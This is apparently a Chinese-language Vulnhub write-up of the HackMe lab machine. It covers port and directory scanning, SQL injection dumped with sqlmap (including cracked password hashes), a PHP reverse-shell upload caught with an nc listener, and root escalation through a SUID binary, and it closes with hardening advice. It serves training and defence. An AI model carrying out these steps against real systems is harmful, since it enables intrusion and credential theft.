资讯详情

HackMe 靶机渗透测试(Vulnhub Writeup)

📅 2026/10/15 18:06:27 | 华诺云谱 👁 阅读
HackMe 靶机渗透测试(Vulnhub Writeup)
HackMe 靶机渗透测试Vulnhub Writeup一、靶机与环境介绍本次实战目标为 Vulnhub 平台的 HackMe 靶机是一台基于 PHP MySQL 的自研 Web 应用。完整攻击链为信息收集 → 注册登录后定位搜索框 SQL 注入 → sqlmap 脱库拿到 superadmin 凭据 → 登录后台上传反弹 Shell → 利用 legacy 家目录下 root 拥有的 SUID 二进制 touchmenot 直接提权 root。该靶机不设置 flag拿到 root 即结束。攻击机为 Kali Linux192.168.153.162靶机地址经扫描确认为 192.168.153.169。二、信息收集一存活主机扫描┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162 192.168.153.169 00:0c:29:9f:e6:e3 VMware, Inc.二端口扫描全端口扫描仅开放 22SSH与 80HTTPWeb 服务为 Ubuntu 上的 Apache 2.4.34。┌──(root㉿kali)-[~] └─# nmap -p- 192.168.153.169 22/tcp open ssh 80/tcp open http ┌──(root㉿kali)-[~] └─# nmap -p22,80 -sV -sC -O 192.168.153.169 22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.34 ((Ubuntu)) |_http-server-header: Apache/2.4.34 (Ubuntu) MAC Address: 00:0C:29:9F:E6:E3 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel三目录扫描与指纹识别dirsearch 发现 login.php、register.php、config.php 与 uploads 目录uploads 可列目录whatweb 识别为 Bootstrap 3.3.7 PHP 的自研登录系统首页通过 Meta Refresh 跳转到 login.php。┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.153.169 [14:05:32] 200 - 0B - /config.php [14:05:38] 200 - 527B - /login.php [14:05:38] 302 - 0B - /logout.php - login.php [14:05:44] 200 - 594B - /register.php [14:05:49] 301 - 320B - /uploads - http://192.168.153.169/uploads/ [14:05:49] 200 - 459B - /uploads/┌──(root㉿kali)-[~] └─# whatweb http://192.168.153.169/ http://192.168.153.169/login.php [200 OK] Apache[2.4.34], Bootstrap[3.3.7], Cookies[PHPSESSID], PHP, PasswordField[password], Title[Login]三、搜索框 SQL 注入脱库注册一个普通账号登录后在站内搜索框处抓包Burp 保存请求为 123.txt发现搜索参数存在明显的 SQL 注入点。直接使用 sqlmap -r 模式跑全流程。# 枚举所有数据库 ┌──(root㉿kali)-[~] └─# python sqlmap.py -r 123.txt --dbs Database: webapphacking # 枚举表 ┌──(root㉿kali)-[~] └─# python sqlmap.py -r 123.txt -D webapphacking --tables Table: users # dump users 表 ┌──(root㉿kali)-[~] └─# python sqlmap.py -r 123.txt -D webapphacking -T users --dumpusers 表共 7 条记录口令均为 MD5其中关键账号如下---------------------------------------------------------------------------- | id | name | user | pasword | ---------------------------------------------------------------------------- | 1 | David | user1 | 5d41402abc4b2a76b9719d911017c592 (hello) | | 2 | Beckham | user2 | 6269c4f71a55b24bad0f0267d9be5508 (commando) | | 3 | anonymous | user3 | 0f359740bd1cda994f8b55330c86d845 (pssw0rd) | | 11 | superadmin | superadmin | 2386acb2cf356944177746fc92523983 (Uncrackable)| | 13 | admin | admin | e10adc3949ba59abbe56e057f20f883e (123456) | ----------------------------------------------------------------------------其中 superadmin/Uncrackable 为后台高权限账号admin/123456 也可作为备用登录凭据。四、superadmin 登录上传反弹 Shell使用 superadmin/Uncrackable 登录后台利用文件上传功能上传 PHP 反弹 Shell落地路径为 /var/www/html/uploads/。攻击机本地 nc 监听 6666 端口成功拿到 www-data Shell。┌──(root㉿kali)-[~] └─# nc -lvvp 6666 listening on [any] 6666 ... connect to [192.168.153.162] from 192.168.153.169 [192.168.153.169] 60208 www-datahackme:/var/www/html/uploads$ id uid33(www-data) gid33(www-data) groups33(www-data) www-datahackme:/var/www/html/uploads$ whoami www-data五、SUID 二进制 touchmenot 提权 root回到 Web 目录后做本地信息收集/etc/passwd 中除 root 外还有一个 hackme 用户进一步在 /home/legacy 家目录下发现一个名为 touchmenot 的 ELF 二进制属主为 root 且带 SUID 位-rwsr--r-x。www-datahackme:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash hackme:x:1000:1000:hackme:/home/hackme:/bin/bash www-datahackme:/var/www/html$ cd /home/legacy www-datahackme:/home/legacy$ ls -la -rwsr--r-x 1 root root 8472 Mar 26 2019 touchmenot www-datahackme:/home/legacy$ file touchmenot touchmenot: setuid ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped将该二进制通过 python3 -m http.server 下载回攻击机本地分析strings 中直接出现 setuid、execl、/bin/bash 三个敏感符号说明程序逻辑就是调用 setuid(0) 后 execl 拉起 root Shell。# 靶机上起临时 HTTP 服务 www-datahackme:/home/legacy$ python3 -m http.server 8888 # 攻击机下载并分析 ┌──(root㉿kali)-[~] └─# wget http://192.168.153.169:8888/touchmenot ┌──(root㉿kali)-[~] └─# strings touchmenot /lib64/ld-linux-x86-64.so.2 libc.so.6 setuid execl /bin/bash直接在靶机上执行该 SUID 二进制立即获得 root Shellwww-datahackme:/home/legacy$ ./touchmenot roothackme:/home/legacy# python -c import pty;pty.spawn(/bin/bash); roothackme:/home/legacy# id uid0(root) gid33(www-data) groups33(www-data) roothackme:/home/legacy# whoami root六、总结HackMe 靶机的完整攻击链如下1. 端口扫描确认仅 22/80目录扫描发现 login/register/uploads 等自研 PHP 应用路径2. 注册登录后定位搜索框 SQL 注入用 sqlmap -r 一键脱库得到 superadmin/Uncrackable 等高权限凭据3. 使用 superadmin 登录后台上传 PHP 反弹 Shell拿到 www-data4. 枚举家目录发现 /home/legacy/touchmenot 为 root 拥有的 SUID ELFstrings 显示其内部直接调用 setuid 与 /bin/bash执行即 root。对应的安全建议① 搜索框、登录框等所有与数据库交互的参数必须使用预编译语句或参数化查询杜绝字符串拼接② 口令不应以 MD5 等弱哈希明文存储且数据库中应严格隔离高权限账号③ Web 上传功能应校验文件类型、重命名落地文件并禁止直接执行 PHP④ 系统中带 SUID 位的二进制必须严格盘点像 touchmenot 这种直接 setuid(0) 再拉起 /bin/bash 的调试程序绝不应保留在生产环境⑤ 家目录权限应最小化普通用户不应能读到其他用户家目录下的敏感二进制。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑